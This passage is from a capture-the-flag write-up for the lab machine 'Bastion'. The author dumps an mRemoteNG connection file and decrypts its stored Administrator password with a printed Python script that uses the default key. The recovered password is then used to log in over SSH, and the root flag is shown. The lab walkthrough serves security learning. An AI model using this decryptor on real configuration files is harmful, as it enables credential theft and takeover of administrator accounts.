 Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" Rend
eringEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeo
ut="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" Disp
layThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" R
edirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" Redire
ctKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEn
coding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPa
ssword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostna
me="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="
false" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnab
leFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" I
nheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false"
 InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" Inhe
ritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleS
ession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="fa
lse" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoad
BalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" Inheri
tExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" 
InheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNC
Colors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHo
stname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false
" InheritRDGatewayDomain="false" />                                                                                             
    <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128"
 Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostnam
e="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true" Rendering
Engine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdleTimeout="f
alse" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false" DisplayTh
emes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="false" Redire
ctPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" RedirectKey
s="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone" VNCEncodin
g="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCProxyPasswor
d="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayHostname=""
 RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitmaps="false
" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InheritEnableFon
tSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="false" Inheri
tPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="false" Inhe
ritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false" InheritRe
directSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseConsoleSessio
n="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrength="false" 
InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InheritLoadBalan
ceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" InheritExtA
pp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="false" Inher
itVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" InheritVNCColor
s="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatewayHostnam
e="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" Inh
eritRDGatewayDomain="false" />                                                                                                  
</mrng:Connections>                                                                                          
```

it is very messy. byt there is Administrator hash.

```bash
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
```

seems like it is hashed, would be surprised if password will be stored in clear text...

for decryption I will use this python script.

```python
#!/usr/bin/env python3

import hashlib
import base64
from Cryptodome.Cipher import AES
import argparse
import sys

def main():
  parser = argparse.ArgumentParser(description="Decrypt mRemoteNG passwords.")
  group = parser.add_mutually_exclusive_group()
  group.add_argument("-f", "--file", help="name of file containing mRemoteNG password")
  group.add_argument("-s", "--string", help="base64 string of mRemoteNG password")
  parser.add_argument("-p", "--password", help="Custom password", default="mR3m")

  if len(sys.argv) < 2:
    parser.print_help(sys.stderr)
    sys.exit(1)

  args = parser.parse_args()
  encrypted_data = ""
  if args.file != None:
    with open(args.file) as f:
      encrypted_data = f.read()
      encrypted_data = encrypted_data.strip()
      encrypted_data = base64.b64decode(encrypted_data)

  elif args.string != None:
    encrypted_data = args.string
    encrypted_data = base64.b64decode(encrypted_data)

  else:
    print("Please use either the file (-f, --file) or string (-s, --string) flag")
    sys.exit(1)

  salt = encrypted_data[:16]
  associated_data = encrypted_data[:16]
  nonce = encrypted_data[16:32]
  ciphertext = encrypted_data[32:-16]
  tag = encrypted_data[-16:]
  key = hashlib.pbkdf2_hmac("sha1", args.password.encode(), salt, 1000, dklen=32)

  cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
  cipher.update(associated_data)
  plaintext = cipher.decrypt_and_verify(ciphertext, tag)
  print("Password: {}".format(plaintext.decode("utf-8")))

if __name__ == "__main__":
  main()
```

```bash
python mrngdecrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
```

```bash
Password: thXLHM96BeKL0ER2
```

I will try this password.

```bash
ssh administrator@10.10.10.134                                                                                                                                                                                      
administrator@10.10.10.134's password: 
Microsoft Windows [Version 10.0.14393]                                                                                          
(c) 2016 Microsoft Corporation. All rights reserved.                                                                            

administrator@BASTION C:\Users\Administrator>whoami                                                                             
bastion\administrator                                 
```

ohh yeah.

```bash
administrator@BASTION C:\Users\Administrator\Desktop>type root.txt                                                              
3c5111b386e5e85123f9dc90ef5563c2 
```

root.flag